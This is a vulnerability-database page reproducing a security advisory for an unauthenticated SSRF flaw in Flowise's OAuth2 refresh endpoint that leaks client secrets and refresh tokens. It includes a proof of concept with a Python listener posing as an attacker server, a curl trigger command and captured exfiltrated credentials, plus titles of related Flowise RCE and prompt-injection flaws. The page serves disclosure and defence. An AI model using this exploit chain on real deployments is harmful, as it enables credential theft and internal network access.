CVE-2026-69250: Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
Summary The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections.
Published Aug 4, 2026
Affected packages
flowise
- Ecosystem
- npm
- Affected
- <= 3.1.2
- Fixed in
- 3.1.3
- Check
npm ls flowise
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
- Unauthenticated route via whitelist
dist/utils/constants.jsincludes:/api/v1/oauth2-credential/callback/api/v1/oauth2-credential/refreshdist/index.jsauth middleware uses:const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))- Therefore
/api/v1/oauth2-credential/refresh/:credentialIdis treated as whitelisted.
- User-controlled SSRF target
- In refresh handler (
dist/routes/oauth2/index.js): - loads credential by
credentialId - decrypts credential data
- reads
accessTokenUrl - executes:
axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)- No
secureAxiosRequest()/ denylist wrapper is used in this path.
- Non-blind response reflection
- Response returns:
tokenInfo: { ...tokenData, ... }tokenDatais the attacker/internal server response body.
- Secrets sent to SSRF target
- Request body includes:
client_idclient_secretgrant_type=refresh_tokenrefresh_token
PoC
Environment used
flowiseai/flowise:latestcontainer (localhost:3000)- Attacker server (
localhost:18081) returning JSON
Step 1: Start attacker server
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_POST(self):
l = int(self.headers.get('Content-Length','0'))
b = self.rfile.read(l).decode('utf-8', errors='replace')
print('REQUEST_PATH', self.path, flush=True)
print('REQUEST_BODY', b, flush=True)
self.send_response(200)
self.send_header('Content-Type','application/json')
self.end_headers()
self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
def log_message(self, fmt, *args):
pass
HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PYStep 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
curl -i -X POST \
http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
-H 'Content-Type: application/json' \
-d '{}'Observed response:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
"tokenInfo": {
"ok": true,
"source": "attacker-server",
"echo_len": 76,
"has_new_refresh_token": false
}
}Attacker server logs captured:
REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2This confirms:
- unauthenticated trigger,
- server-side POST to attacker-controlled URL,
- exfiltration of OAuth2 secrets in POST body,
- full response reflection to client (
tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
- Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
- Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
- Technical impact:
- outbound SSRF to attacker/internal targets,
- direct leak of
client_secretandrefresh_tokento SSRF target, - direct response read from target via API response (
tokenInfo). - Deployment impact:
- cloud/internal network reachability can expose metadata/internal services depending on egress controls.
Credited to b-hermes.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026CVE-2026-69254
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
critical9.4Aug 4, 2026
